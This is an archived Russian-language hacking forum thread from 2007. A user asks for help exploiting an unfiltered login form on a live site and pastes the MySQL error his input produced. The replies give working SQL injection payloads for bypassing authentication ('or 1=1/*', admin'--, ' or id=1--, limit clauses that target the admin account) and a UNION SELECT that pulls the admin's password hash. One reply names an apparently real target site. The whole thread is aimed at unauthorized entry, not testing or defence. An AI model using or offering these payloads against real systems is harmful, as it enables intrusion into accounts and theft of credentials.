PDA

Просмотр полной версии : Sql запрос


Marlboro_X
30.07.2007, 13:12
Есть сайт. Есть форма с логином и паролем без фильтрации на символы. Когда ввожу что то типа:
логин: rrr'
пасс: njhj

получаю ошибку

SELECT id FROM Users WHERE login = 'rrr'' AND password = MD5('njhj'); caused error:
Ошибка
Ошибка запроса к базе данных. Попробуйте попытку ещё раз.
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'njhj')' at line 1

Направьте в нужное русло все что знал перепробовал. Помогите заюзать багу

Basurman
30.07.2007, 13:13
в поле логин or 1=1/*

можно добавить limit 0,1 - тогда скорее всего будет админ
А можно просто rrr/* - юзер будет rrr пароль любой

Имхо...

Marlboro_X
30.07.2007, 13:20
or 1=1/* пробовал!
Оно грубо говоря заходит, но без юзера. Пишет даже "Здравствуйте, " и все.

Basurman
30.07.2007, 13:22
пост выше. я дописал туда еще парочку способов - попробуй

everm1nd
30.07.2007, 16:09
Я бы попробовал:
SELECT id FROM Users WHERE login='admin'--
т.е. login:admin'--
или
SELECT id FROM Users WHERE login='' or id=1--
т.е. login:' or id=1--
Думаю у админа идентификатор единичка, так что прокатит, если что перебери другие.
А может исчо енто поможет:
SELECT id FROM Users WHERE login='' UNION SELECT password FROM Users WHERE id=1--
т.е. login:' UNION SELECT password FROM Users WHERE id=1--
Потом расшифруешь...
А при 1=1 пишет "Здраствуйте, " наверно потому, что идентификатор ноль стоит у гостя, и именно этот пользователь и является первым подходящим под запрос...

+toxa+
30.07.2007, 16:21
Попробуй через подзапрос
blah' or login=(select login from users limit 0,1)/*
юзеров переключаем первым значением в лимите

Basurman
30.07.2007, 16:28
http://sevclick.com

оно там не пашет. двойная проверка? хз
имхо ' or 1=1 limit 0,1/* подрубится под амином :)